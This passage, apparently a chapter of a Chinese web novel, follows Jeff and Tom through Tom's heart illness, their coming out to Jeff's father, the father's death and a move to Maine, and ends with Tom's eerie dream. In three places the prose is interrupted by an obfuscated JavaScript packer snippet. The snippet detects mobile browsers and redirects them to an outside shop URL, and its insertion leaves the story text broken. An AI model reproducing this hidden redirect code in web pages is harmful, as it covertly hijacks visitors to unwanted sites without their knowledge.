“汤姆先生请入座。” 汤姆被逗笑了,杰夫耳朵有点红,但看到那点乌云从汤姆脸上消失,他心里舒了口气。 忽然笑声中断,汤姆捂着胸口直掉眼泪,对杰夫的担忧询问,一句话也说出来。 杰夫慌得一把抱起汤姆,外套围巾什么都顾不上了,穿着一双拖鞋就要冲进雪地。被汤姆拽住袖子提醒,才记起给医院打电话叫救护车。挂断电话时,汤姆已经晕厥过去。 最后汤姆是怎么送到医院的,杰夫已经记不清了。记忆好似不存在一样的空白,人类的大脑就喜欢模糊掉关键的惊恐部分。 送到医院后,汤姆被诊断出患有ARVC(致心律失常性右室心肌病)。这是汤姆第一次知道自己的心脏有问题。 ARVC没有年龄限制,但青年人多见。汤姆的病例给这个文献研究又加上一点微不足道的数据佐证。还算幸运的是,汤姆的情况还没糟糕到要植入ICD进行一级预防,只需要吃些抗心律失常的药。 早上,守了一夜的杰夫出门买饭,回来的时候还带了一束鲜花。 推开门,汤姆坐在整洁雪白的病床上,身前摆放着小桌子。他正在看一本书。一个晚上过去,汤姆脸庞恢复健康的血色,白里透红的肌肤都不像一个病人。 天哪,上帝啊,你怎么会忍心让这样的人经受重病折磨? 杰夫压下涌到胸腔的悲愤,笑着将花束献给汤姆。汤姆高兴地接过,问: “给我买花做什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764408|127772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “病人不都是要有点鲜花的。”杰夫吻了汤姆的面颊,说:“你在看什么?” 他将东西放到小桌子上,给自己拉了一个板凳,坐到病床旁,手托着下巴支在桌子上,目不转睛地看着汤姆。 “比尔·布莱森的《人类简史》。我们很早以前一起读过,你还记得吗?”汤姆翻到扉页,示意杰夫看,“你瞧这句话。” 汤姆又翻回他刚刚看的部分,指着上方的字‘所有形式的心力衰竭都鬼祟得出奇’。 “现在看到这句话,我真是再赞成不过了。”他感慨地说。 杰夫对于这个话头不是很喜欢,他现在也还没接受现实,见到汤姆一副随时准备会见死神的坦荡模样,杰夫心里有些微妙的不愉快。 “也许是怒其不争?”杰夫想着,面上点点头。 汤姆同样手撑着下巴,注视着杰夫的眼睛,说:“书上讲到少数幸运的受害者,是在睡梦中死去的,似乎没有痛苦......” 杰夫听出汤姆的期待,那点不愉快一下如同加了柴的火苗窜得老高。 “那我呢?”杰夫忽然按住汤姆的肩膀,大声质问,“你心里还有我这个兄弟吗?万一上帝真得顺了你的心意,你倒是好一了百了,留我一个人,第二天醒来发现和自己睡在一起的好兄弟成了尸体,你是打着这个坏主意吗?” 汤姆吓了一跳,他说话前哪里想到这一茬,顺着杰夫的思路,也发觉这得有多吓人,自己先白了脸,忙不迭地说:“呸呸呸刚才都是乱说的,上帝您老人家可千万别听我的胡言乱语。” 他说完,拱到杰夫面前,脑袋蹭了一下杰夫的肩膀。见杰夫面色缓和了,汤姆想,该轮到我发脾气了。他神情委屈地说:“但是你也不用吼我呀。” “抱歉,我太伤心了,没控制好脾气。”杰夫坐回板凳,打开盖子,食物的香气扑鼻而来。杰夫双手递上勺子,“别生气,或者先吃完早饭再生气,好不好?” - 杰夫刚学医的那段时间,比汤姆这个病人还要神情惶惶。有时抱着本书,嘴皮子上下一碰,就冲汤姆吐出了一串数据:“......每年死亡的美国人中有1/3是死于心脏病。 ” 汤姆将书从杰夫手上抽出,手指戳了戳杰夫的额头:“平时那么灵光的一个聪明人,怎么学点医就把脑子学傻了?” “别说得我像是和冰冷冷的数据一家亲好吧。你要这么说,杰夫,我还能跟你说,弗洛里达州的一位叫罗伯特的验尸官,发现有些所谓的心脏病发作实际上是哽咽窒息死亡。所以,别太惊慌,没那么吓人。”汤姆安抚道。 杰夫将信将疑,思考了几秒,他决定拉汤姆去散步。 “冷,不去。”汤姆拒绝。 他整个人懒洋洋陷在沙发里,壁炉的火烧着,室内像是融化的黄油一样暖烘烘的,电视机里播放着棒球比赛。汤姆虽然不感兴趣,但不想出门,于是全神贯注地看着电视。 杰夫上下打量汤姆,说:“比起普通人,久坐的人多了两倍的机会患心脏病,心血管疾病则机会更大,是2.5倍。汤姆,你是想要成为这2.5倍中的幸运儿吗?” 最终,汤姆也没能逃过出门散步,被杰夫强行套上外套、围巾。眼见杰夫为了他让他出门,甚至蹲下屈膝要给他穿鞋子。汤姆推开杰夫,悲愤地选择自己穿好靴子。 - 2000年的圣诞节,杰夫开车带着汤姆从洛杉矶赶到圣克鲁斯,探望居住在小镇东郊区的蔡斯。从中学杰夫知道汤姆的家人在车祸中丧生,只留下他一个人后,便多次邀请汤姆去自己家里过节。 因此,汤姆对蔡斯并不陌生。他见过这位斯文有礼的父亲很多次。这次却不同,他们是来向这位父亲宣布某件事情,一个传统守旧的父亲可能承受不住的事。 两个年轻人很忐忑,一路上,说了很多话。他们在排演与蔡斯的见面。 眼看目的地越来越近,杰夫忍不住拍了一把方向盘,说: “噢!汤姆,咱们直说吧。” 汤姆赞同地说:“没错!咱们要以真心换真心,不搞那么多虚头巴脑的东西。到时候门一开,咱们敞开了说,坦白了说。” “他要是不同意,管他呢!” 一时间,两人气势汹汹。到了后,他们先在门口占了几分钟,给彼此鼓足勇气,挺着胸膛推开门。 客厅的灯光迎面照来,两个小年轻瞬间如同即将上台演出的人偶,四肢僵硬。这番局促不安的模样,蔡斯看在眼里,好笑在心头。 杰夫开口,瞎扯一通。从神话里的宙斯和伽尼墨得斯,到古希腊的爱人习俗,再到柏拉图、苏格拉底。 “小伙子们,然后呢?” 杰夫真诚地说:“说了那么多,其实我们来找您,是——” 杰夫看向汤姆,汤姆意会了,用坚定的嗓音接上:“因为那个艾伦·德詹尼丝!” 这是他们一开始排演好的台词。 两嘴一张,巴拉巴拉又是段废话。他们讲到了艾伦近况,好不容易讲完艾伦和她的感情经历,又聊到音乐剧《吉屋出租》。 最后还是早就洞察一切的老父亲不耐烦打断了:“你们两在一起了是吧?” “啊——啊!是的。”两人腾地从沙发上站直了身体。 蔡斯手搭着扶椅,问话犀利:“做了吗?” 杰夫和汤姆红着脸,支支吾吾。 “我说做.爱了吗?” 汤姆用手肘悄悄推了一把杰夫,杰夫收到暗示,神情窘迫地说:“咳,如你所想,是的,爸爸。” “做好措施了吗?杰夫,我可不想你两真的成了安吉拉和克林斯。”蔡斯开了个很冷的玩笑。 杰夫和他的小男朋友汤姆的出柜,蔡斯毫不意外。再怎么说,杰夫也是他的儿子,两人还懵懵懂懂时,蔡斯就察觉到他们行为的暧昧。 经历了前妻蕾尼的死而复生,蔡斯深知儿子冷静自持外表下的偏执,所以他选择妥协,什么都没说。 蔡斯唯一的制止,在得知汤姆身体情况后,眼神露出的担忧。他唇瓣动了动,没说话,忧虑的目光落到杰夫身上,眼神交换了父子才知晓的秘密。 “请对我放下心,爸爸。我知道生命不可强求。”杰夫说。 - 和蔡斯出柜完,就轮到朋友了。 两人邀请朋友来家里聚会。聚会上,汤姆被杰夫看着不能喝酒,只能眼瞅着朋友们一个个喝得畅快。其中一位中学好友喝得大醉后,哭得眼泪鼻涕齐流,嘴里直念叨:“两千美元,他妈的两千美元呜呜……” 一问就是—— “我赌了你两必定会在一起,赔率是两千美元。” “这不是挺好的吗?” “你两迟迟没消息,都他妈同居几年了还一副哥两好的纯洁模样,我看得羞愧啊!我觉得是我龌龊了,上个月同学聚会就改成了,你两铁血兄弟情,不可能在一起!” 说到最后,他吼起来,吼完又开始哀嚎。 事后酒醒了,他不好意思来给杰夫和汤姆道歉,毕竟两人还热恋着自己却说什么不可能在一起。 “其实不是那两千美元的事儿……主要是,我想不明白,我真的想不明白。汤姆,杰夫,你两是怎么做到都同居了,还保持着纯洁的兄弟关系?又他妈……咳咳又怎么突然开窍的?” - 在2004年马塞诸塞州同性结婚合法化后,两人还跑到马塞诸塞州举行婚礼。蔡斯·马修斯应邀出席,收养汤姆的亲戚家庭一个不落地都来了。两人的好朋友能抽出来时间的,都长途跋涉赶来见证。 - 生活一派欣欣向荣。 长辈的理解,朋友的支持,汤姆的病情也稳定着。这让他们满心欢喜,以为自己可以战胜命运。 蔡斯·马修斯的死好比当头一棒,把死亡的阴影带回这对年轻爱人。 汤姆并不害怕死亡,潜意识里,他总觉得死亡不是终点。但他放心不下杰夫。忧虑中汤姆睡着了。 杰夫从医院回来的时候,快四五点了。汤姆没醒,老虎躺在他胸口上—— 一只十四岁的狸花猫,也是个大姑娘了。 他抱起猫咪,小猫顿时喵喵叫着醒来,杰夫教训道: “坏老虎,别趴在男主人的胸口上,听到了吗?” 他将小猫放到了房间里专门给半夜爬床的猫咪准备的小窝旁。猫咪一甩尾巴,优雅地踱着步钻进小窝。毛绒绒的尾巴差点扫了杰夫一脸。 杰夫去走廊的卫生间洗漱完,爬上床。刚抱住汤姆,一股清清的药香味扑鼻而来。 因为病,汤姆还去看了中医喝中药,从那以后身上就带着这一股香味。 杰夫瞧着汤姆日益如同瓷娃娃般苍白的睡颜,神情难辨。 他想到了很多。 想到了当初他们观看《吉屋出租》时,汤姆为安吉拉的死而伤心;想到了感恩节那天不约而同戴上动物头套的小孩子们。 仿佛是预兆一样,早早预示他们的不幸。 接着,杰夫想起曾经和爸爸的谈话,当时他能信誓旦旦地说学会了接受生死。 现在呢? 某个黑暗的地方再次萌生在脑海里,这次它停留了很久,杰夫能清楚地记起它的名字—— 宠物坟场。 - 杰夫吻了吻汤姆的额头: “晚安,汤姆。” 他们的感情是什么时候变质的呢? 或许从他为了汤姆,选择成为了一名医生开始,从兄弟情上来讲,他们就已经爱的不纯粹了。 21.宠物坟场03 室内暖气运转,发出低沉而均匀的声音。窗玻璃敞开着,阳光从厚窗帘的空隙溜进来,将汤姆的发丝和睫毛照得金灿灿的。 汤姆感到了热,不自觉蹬着铺盖,像往常一样往身侧滚去。扑了个空后,他下意识又滚了一圈。于是,铺盖落地,汤姆紧随其后。 地板上铺的是羊毛地毯,绒毛柔软。掉下来如同摔进了棉花堆,痛感微弱。汤姆还没完全恢复神智,打着哈欠,爬出蛹一样的铺盖。 床上空无一人,褶皱的被单,像是一张被抓揉成球又展开的白纸。 杰夫呢? 汤姆立时清醒,睡前的记忆跟着复苏—— 再过几天就是感恩节,昨晚他正和杰夫讨论要不要去蔡斯家,走廊的电话铃响,杰夫走去接听。回来后,杰夫说: “好消息,不用纠结了!老爹旧疾复发,顶多再撑几个小时,几天是没戏了——该死!见鬼了!” 他不知道自己在叱责什么,可能是死亡,也可能是不合时宜的调皮话。 汤姆完全愣住了。一提到蔡斯,汤姆最先想起来的,不是这位父亲的斯文面容,也不是他的包容性格,而是他时不时开的冷玩笑,比如—— “我可不想你两真的成了安吉拉和克林斯。” 玩笑开得足够成功,汤姆想要捧场地笑一笑,面庞却冻得跟石头似的结实。 这样一个和善幽默的长者,汤姆从未想过他会死去,或者说在自己之前死去。鲜活的人一旦和死亡联系起来,他所留下的冷笑话顿时威力十足,像是冰淇淋融化了引发雪崩,鬼才知道为什么影响会倍数增长! 汤姆肤色惨白,犹如从水里浮起来的尸体,浑身的冷汗快浸湿了衣服。他以为自己是害怕得发抖,看见杰夫惊慌失措,还安慰地说:“没事儿,我只是害怕。” 然后挨了杰夫的骂:“你是傻子吗,汤姆,害怕还是疼你都分不清了吗?”杰夫翻口袋找药的手在打颤。 汤姆这才反应过来,但当他发觉身体的不对劲,阵痛教他差点哭出声。 回想到这儿,汤姆不免担心。自己只是如同对待亲生父亲那样敬爱蔡斯,都无法遏制激动的情绪,那作为蔡斯亲生儿子的杰夫呢?朝夕相处的亲人逝世,杰夫会有多难受? 汤姆奔向楼梯口,走了半截,眼睛一亮,他发现自己不用费心地猜想杰夫去向。厨房和起居室的走道传来杰夫的说话声。 “坟墓他之前已经选好了?哦,固定坟,是个好选择。那墓地地址确定下来了吗?你指的是圣克鲁斯教会附近的森林草坪公墓?那我们还真是想到一块去了,不得不说,那里确实是个环境清幽的好地方,重点是安保到位,再傻的小偷都不会光顾这片土地,除非他想洗心革面去坐牢......哦,我是在开玩笑......” 杰夫握着听筒倚在墙上。他面无表情,声调出奇的平和,以至于显得呆板,身上的衣服皱巴巴的。 靠近后,汤姆怀疑杰夫一整晚没睡,那双眼下像是悬挂了豆粒大的水袋。摸上去,汤姆才确认是实打实的大眼袋。不等汤姆放手,杰夫握住这只捣乱的手。在他没察觉的时候,脸上已经挂出浅浅的笑。屋内流淌的明亮光线,勾勒出杰夫面庞柔和的线条。神情不再是生人勿进的冷漠后,倦怠感便开了闸似的在这张脸上倾泻出。 汤姆蹭了蹭杰夫的脖子,两只手老实地环在杰夫腰间,听着杰夫说话。 “......红木棺材和大理石墓碑就好......” 五六分钟后,电话挂断。 “你刚才是在给戴维殡葬公司打电话?”汤姆问,不过并非真心询问,所以自己接上了话茬,“有什么需要我帮忙的,不要客气地说吧。我睡了一晚上,骨头都快睡软了,正愁没事干。” “骨头软了?”杰夫上下打量汤姆。 汤姆挺胸。“不信你捏捏。” 杰夫手刚搭在汤姆的肩上,还没用力,汤姆就跟骨头被抽了似的软趴趴往下掉,杰夫早有预料的另一只手发力,捞住汤姆的腰。汤姆眼神真诚,唇角却翘起来,呲出两排白净的牙齿。 杰夫手掌从肩滑到肩胛骨,然后一路脊背深入。动作轻,又隔着一层衣服,汤姆还没意识到问题的严重性,卸了力的身体,就差挂在杰夫身上。直到杰夫摸到尾椎骨,按了下去,汤姆脊背条件反射地打直,像是被踩到了尾巴的猫,在地上跺了好几脚,才消掉了尾椎蔓延开的麻意。 顶着杰夫的凝视,汤姆说:“我这不是想帮你点忙吗?” “放心,我应付的过来,这是我能为他做的最后的一件事了。”杰夫神情温和地说。 汤姆当做没听到。“待会是不是还要给亲戚朋友打电话,安妮、詹姆斯、佩巴姆......我好久没见佩巴姆先生了,之前老虎生病,还是他帮我们看的呢,当时还说要请他喝酒,结果给拖到了现在。让我来给他们打电话吧,我可不能做一个撒谎......” 汤姆的话被堵住了,杰夫一根手指抵住汤姆的唇。 “汤姆,我知道你想要帮我分担,你在关心我,我很感谢你,也很想就这么接受你的关心。”杰夫顿了一下,观察汤姆的脸色组织措辞,说:“可是正因为我痛苦,所以我需要让自己忙起来,越忙越好,最好忙得脚不着地。而且,我并不想要看到你为这件事操劳。你能陪伴我,这对我来说足够了。” 汤姆抿了下唇,转过头去。显然,在生闷气。 杰夫沉吟了下,“如果你真的很想要帮忙......” 汤姆闻声,期待的目光投来,这让杰夫有点忐忑。虽然他认为即将说出的话有理有据,可谁知道汤姆会不会想岔,觉得自己就是在嫌弃他? 但杰夫还是开口了,他说:“现在转身,往前走几步,对,走进去,是厨房没错。你把自己的肚子喂饱,就是帮了我最大的忙了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764409|127772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汤姆嘴角往下扭,没有一个叹息,但周身散发出的失落,让杰夫怀疑自己刚才说的不是让汤姆去吃饭,而是什么更残酷的话。 杰夫只能走到厨房,捧起汤姆的脸,神情无措,“汤姆……” 汤姆觉得杰夫对他太过于小心翼翼了。汤姆是人,不是易碎品。花瓶摔倒地板上会粉碎,而汤姆能够打着呵欠爬起来。 “我也许能理解你,不过只有一点,我需要你实话告诉我,杰夫,是因为我的病吗?你怕它,所以不肯让我帮忙?”汤姆语调消沉。 这确实是很大一部分原因,杰夫已经很小心避免这个话题了。他总是想护着汤姆,像养花一样,栽种在温室里小心呵护。可是汤姆不是一朵花,他有自己的思想,会抹着眼泪说自己想要阳光。然而,养花人是个胆小鬼,总是疑心烈日能灼伤了他的花。 在杰夫为难的时候,汤姆振作起来,高声说:“你要是真因为这个理由,那我得骂你了,杰夫。你抬头挺胸听着。我不敢相信,这样的决定会是从杰夫你——我的专属主治医生——嘴里出来的。我的身体情况你该是清楚的,这点操劳要是累到我了,我何必活……”看到杰夫沉下来的神色,汤姆吐到唇舌的话语灵活一变:“总之,无知!肤浅!” 杰夫听得不痛不痒,这些话加起来,都没汤姆咽下去的丧气话威力大。 汤姆骂完了消气了,说:“好了,我去做饭了,记得半小时后来吃饭。不然,到时候你可别怪我抢你活儿。” “嗯。”杰夫长松一口气,微笑点头。 - 回到电话旁的杰夫,想起刚才那通电话。他扭了扭苦涩的嘴角。 固定坟、森林草地公墓...... 爸爸这么做,是不信任我? 他以为他的儿子会做什么?会去挖他的坟吗? - 办完葬礼后,杰夫和汤姆的生活似乎并没有太大改变。杰夫去医院上班,汤姆在大学里教书。蔡斯的死似乎成了日历上的往事,生活仍在继续。 直到有一天,汤姆回家时,杰夫出乎意料坐在沙发上,看起来做了很久。 杰夫轻声问:“你想搬家吗?” “搬家?” 杰夫神情怪异,汤姆以为杰夫还沉浸在亲人去世的痛苦之中,抱住他说:“如果这个地方让你触景生情了,那我很乐意陪你一起去新的地方,重新开始生活。” “你别多想,汤姆。”杰夫说,“工作调配下来了,缅因州绿络镇的大学当医务处主任。”杰夫没有说的是,调配是他主动申请的。 “那我的工作呢?”汤姆问。 杰夫沉默了,“是我糊涂了,汤姆咱们不搬了。” 最后汤姆同意了,因为他看出来杰夫是希望他答应的。于是他们在新的一年,决定搬到缅因州的绿洛镇。 到目前为止,一切看起来再正常不过。 22.宠物坟场04 汤姆和杰夫在萨克拉门托国际机场登机,随行的还有一只老虎——端坐在杰夫和汤姆为它准备的宠物包里。 行程横跨了整个美利坚。 杰夫一直在看论文。汤姆眼角余光瞥到“尸体”“防腐”几个字,纳闷了下:杰夫怎么还在看这东西?这个疑惑一闪而过,汤姆继续对着舷窗外的云层发呆。 一成不变的风景人不免让人生困。然而坐久了,汤姆屁股酸疼,入眠不久就会被难受醒来。索性猫小姐很安静,没让这趟漫长的旅程更为难熬。偶尔叫唤,声音细小轻微。汤姆喂食后,它用圆脑袋拱了拱汤姆掌心。思考几秒后,汤姆决定礼尚往来,脸埋在猫肚子里轻蹭。 杰夫瞥了一眼,视线回到蚂蚁大的文字上时,绿眼睛含满了笑意。 夜色渐渐降临。抵达缅因州时,这片土地的众多房屋已经沉睡。 飞机停稳后,人群陆续下舷梯。他们无一例外边走边裹紧了衣服。缅因州今年二月格外的冷,天气预报说是北极寒潮的影响。吹来的风掺着雪花似的,在皮肤的温热里融化,留下黏答答的湿意。 杰夫背着宠物包走在前头。黑包开了个小口,汤姆可以看到老虎带着斑纹的额头,再稍微想象一下,一只猫咪蜷缩四肢睡觉的画面就出现了。 “看路,汤姆。”回头的杰夫提醒,“别依依不舍地看老虎了,到家后有的是时间。”舷梯好几米高,杰夫真担心汤姆会把自己摔着。 汤姆瞧了瞧明明就没剩几步的阶梯,他觉得杰夫真实太小心了,“知道了。”他说。 汤姆对杰夫的无奈,在踩过最后一节台阶,落地的那瞬间停止了。冷湿的风从地面爬上脚踝,自下而上,一路贴着皮肤吹到头皮。他开始头晕目眩,一股不舒服的恶心感咬着咽喉。心脏在胸膛里狂跳个不停,连带着根根肋骨如琴弦似的颤动。 不过,汤姆还可以忍受,目前的疼痛不足以让他直冒冷汗。杰夫却从汤姆惨白的脸色窥见端倪,两条棕眉毛打着结,“你这是做什么汤姆,把我当外人吗?”他把汤姆安置在等候椅上,自己去取行李。 这就是有个医生伴侣的弊端,他从里到外、全方位的了解你的身体。 其实汤姆已经好多了,甚至是感到从未有过的轻快,难受似乎只是落地的一瞬间。可杰夫不信。 汤姆支着下巴,脑子回响着哀嚎声:瞒不住,瞒不住杰夫一点。杰夫不允许我有秘密,可他自己却有很多小秘密——对啊,他有秘密,还不少! 杰夫拎着行李箱回来,远远就听汤姆神情激动地冲他喊:“这不公平!” “不公平?”杰夫略感不解,但并不奇怪。汤姆总是像个戏剧演员一样,情感丰沛、动作夸张,什么时候他沉寂了,那才是奇事。“我亲爱的汤姆,怎么了?” “你最近多了很多很多小秘密!” “汤姆,除了在医院,我做什么事不是和你一起,我还能有你不知道的秘密?”杰夫低下头,虚心求问。 “你看的那些书!论文!”汤姆有个模糊的想法:杰夫关注尸体,也许不是出于工作,而是为了他。只有他离死亡最近。 这想法出现得毫无由头,极其任性地蹦出来,汤姆受惊得头盖骨都快裂开了,他没意识到自己喃喃出声:“像是给我准备的一样。你是不是迫不及待希望……” 杰夫右手微笑着掐住汤姆的嘴,硬生生让汤姆把最后一句话吞了回去。他左手拎着两人的行李箱,箱里装了几件衣物、两双鞋和洗漱用品。他们绝大部分的行李已经托付给搬家公司,按照日程来看,现在应该行驶到新罕布什尔州,明天就能到达他们的新家。 “这些可不算秘密,我从没有瞒着你偷偷看,不是吗?“杰夫坦率地说,“而且你想听,我现在就可以把书上的东西,从头到尾和你说一遍。虽然不能保证一字不落,但全是我所知道、记得的。你可能又会嫌我烦了。”他笑了起来。 汤姆摩挲着手臂的鸡皮疙瘩拒绝了。 他们这时正好走出机场。 一轮弯月高悬夜空。它白的干干净净,汤姆多看了几眼。便在汤姆眼皮子底下,月亮忽地化作一跟肋骨。 汤姆攥紧了杰夫的手臂,“发生了什么事?汤姆,你在发抖。”杰夫跟着仰头。 夜空很安静,静得只有一个月亮和它的光。 “你没看到吗?” “月亮,天空只有月亮。没有星星,也没有一只鸟。这是我看到的,但我想你询问应该不是这个。” 汤姆困惑地揉了眼睛,定睛再看,只是一轮月亮。他想:“难不成是我看错了?也是,好端端的月亮怎么可能会是肋骨呢。” 话虽如此,汤姆不由自主地对缅因州这片土地升起了敬畏之心。他也许对缅因州过敏,进入这片土地就状况百出。 老虎不知什么时候醒了过来,从包里纵身一跃,轻盈落地,绕着汤姆喵呜喵呜叫。汤姆抱起老虎,挠着猫咪下巴,对杰夫说:“我应该是飞机坐久了,刚落地头晕眼花,我们现在要租车去绿洛镇吗?” “太晚了,你需要休息。我去取行李时,已经订好酒店了。”杰夫补充,“飞机上你虽然小眯了一会儿,但你肯定睡得难受。你在座椅上扭来扭去,还说梦话,什么屁股着火了,哭着叫我给你灭火——放心,前后排乘客听不到的,我都是耳朵快贴上你的嘴,才听到的,也只听到这么点。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764410|127772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那就好。”汤姆大舒一口气,突然反应过来,“不对。你为什么要偷听我的梦话?杰夫!坏家伙!” 杰夫拎着行李箱,无辜的神情下是快要飞起来的嘴角。 - 第二天一早,天蒙蒙亮,杰夫去租车柜台,边和柜台工作人员聊天边选车。他需要一辆足够舒适的车,开往绿络镇有好几个小时。 最近天冷,工作人员等了一晚上也没几个人来租车。见到杰夫,他兴奋拍了一把大腿,说得漫无边际,从附近的五合金店到缅因红爪球队,芝麻大的事儿也能扯着嗓子说个不停。 杰夫心情更烦了,可他还得面带微笑耐着性子听。 - 汤姆不确定自己是不是在做梦。 四周是幽暗密林。自己则像是仅有一根线束缚着的风筝,在丛林间漂浮。树木紧密分布,雾气循着树与树之间的间隙游荡。 汤姆听到喘息声,还有枯枝被踩碎的咔嚓声。他闻声看去,似乎是两个人。他努力的睁大眼睛,但朦胧的月光也穿不透雾气,汤姆无法透过白雾看得更详细了。仅从衣着中看出应该是两个男人,一个背着另一个。两人一声不吭。 他们无视了汤姆,也许是雾气太大,但汤姆更相信是因为自己现在同幽灵一般无二。眼看两人就要走出视线,汤姆察觉到若隐若无的牵引力。于是,他顺从地跟在两人身后。 男人两条腿不停摆动。他走得谨慎,这是一片泥泞的沼泽。歪歪倒倒的菖蒲和芦苇窸窸窣窣,传出不知名动物的叫声。 汤姆不知道跟了多久,他们从密林沼泽走到空地,又进入新的森林。当他们终于停下脚步,男人喘息声像破风箱一样急促粗重。 树叶沙沙作响,朦胧的的月光照着空地,众多的锥形石堆闪出银光,如同古老而又神秘的遗址。空地垒出一座座石堆,分散的石堆又组合出螺旋状的圆环,圆圈又象征着最古老的宗教符号。 这里有股神秘莫测的力量,人置身于其中,很容易有种被无形之物窥测的感觉。 雾气早已消失,汤姆却还是看不清两个男人。一切都很诡异,汤姆却不害怕,他的神经似乎已经缺失了恐惧的弦。环顾一圈后,汤姆的视线回到男人身上,却发现他不知道从而哪儿掏出了铁铲,一下一下地挖土。 联想到他背上的那个人自始至终从未说过一句话,汤姆有一个病态的猜测,难不成是在……毁尸灭迹? 男人挖好坑,正好是一个成年人的容量。他将另一个人小心翼翼放入坑里。随即,仿佛是猛地被收紧的风筝线,汤姆视线天旋地转。第一泼泥土撒到身上时,汤姆看清了那个人的脸—— “——杰夫!” 23.宠物坟场05 “杰夫!” 汤姆猛地从床上坐起身,一头撞上杰夫。令人牙疼的碰撞声响后,敞亮的房间里多了两个同病相怜、捂着额头的倒霉蛋。 汤姆鼻子一皱,立时忘了梦境,“啊——诶,”呼痛声卡在了喉咙,“不,不疼?” 他非常惊奇,摸了摸额头,又晃晃脑袋,也没有任何不适。这使汤姆感到高兴,抬眼朝杰夫望去后,他更快乐了。 在朴素的痛苦面前,这个高傲冷淡的小伙子也低下头。 杰夫弯腰捂额,一副头晕得直不起腰的模样。疏离感荡然无存,苍白的皮肤覆盖血色,多了几分活人气。 哪还有平日里的不近人情?更别提梦里那副阴冷可怖样!此刻的杰夫就是个会吃痛闷哼又再普通不过的人。 汤姆残存的悚然感也消失了。他心想,只怕是杰夫最近老在看些让人后背发麻的怪东西,自己又刚到缅因州还没适应,做了噩梦也不奇怪。 现在回想起来,汤姆反倒有几分意犹未尽。 这种光怪陆离的梦,他还是第一次做。虽然身处梦境时叫人头皮发麻,但清醒过来,只剩下满胸膛的新奇劲。一想到梦里因自己惊叫而瞪大了眼睛的杰夫,汤姆万分好奇—— 杰夫会说什么? 越想,汤姆心里如同有蠕虫钻爬般,心痒难耐,开始后悔醒太早。 这下好了,除非足够好运,能做个系列梦。不然,这辈子都别想知道梦里的杰夫想说什么。 “哎!” 汤姆遗憾地长叹一声,他向来不会隐藏情绪,也憋不住事儿,想到什么就说什么: “杰夫,你知道吗,我做了个很有意思的梦,就是有头无尾,让人心里憋得慌!”说着,他兴致上来,抓着杰夫的袖摆,神神秘秘地继续道,“你想猜猜看吗?我敢打赌,你绝对猜不到。” 汤姆深知自己接下来的话必定能让杰夫大吃一惊。这个想法不是毫无根据。两人从小玩到大,感情深厚,只需彼此一个眼神便能心领神会。他是如此自信,以至于话还没出口就在悄悄观察杰夫。 杰夫低头揉着额,似乎碰撞带来的疼痛还没有缓解,整个人都显得无精打采,连下巴颔轮廓都透出消极颓废。 看到汤姆一醒来仍富有活力,杰夫本来很高兴。然而,正如汤姆了解杰夫那样,杰夫也对汤姆的性子知根知底。汤姆声音刚起个调,不用听内容,杰夫就知道这小子在憋什么坏。 “是吗。”他故意用冷淡的口吻说。 汤姆哪儿是那种轻易会被杰夫语气影响到的人?他心大,性子乐观,最擅长自说自话。 “是——吗——”汤姆重复了一遍,“我梦到你在掩埋尸体。我的。” 几乎是瞬间,杰夫仰头,露出泛红的额心。 汤姆还没来得及因杰夫的反应而满足,就看到杰夫深深眼窝下鼓出来的眼袋,眼白布着蛛网似的红血丝。他吓了一跳,转而用惊讶的目光打量杰夫。 怎么一个晚上不见,杰夫憔悴了这么多? “你说什么?”杰夫问,表情阴沉,像是罩着一大团密布的乌云,清秀的面庞平添了一分凝重感。 汤姆吞吞口水,“啊,这个嘛......” 不妙的预感之下,脑海灵光闪现,汤姆一拍掌心反应过来,这玩笑有多不合时宜!他试图假装什么都没发生,说: “哈,我刚刚说了什么吗?嘶,才醒来脑袋有些晕乎乎的诶。”汤姆抱头,哎哟哟叫唤。 夸张。 杰夫嘴角勾了下,很快又压平,咳嗽一声,“既然这样,”他从衣兜掏出手机,“那我们打电话叫医生......” “等等!不用了。”汤姆腾地直起腰,两手规矩放在腰侧,顶着杰夫意料之中的视线,脸不红心不跳地说,“我现在好多了,没那么晕。年轻人身体好嘛。至于那个梦——” 悄悄瞥着杰夫依旧深沉的神色,汤姆拔高嗓音,义愤填膺地说:“就是瞎扯淡呢!不仅没什么意思,还乱七八糟的,糟糕透了!一回想就让人生气,越想越气!算了不聊它了,免得破坏人好心情!” 杰夫默不吭声,神情看不出有没有缓和。 “啊!”汤姆叫了一声,抚上杰夫眼窝,担忧全然真心实意,“你的眼睛怎么了?看起来很憔悴。” 温凉的皮肤触感在指尖停顿几秒,就被杰夫握住手拽下来。 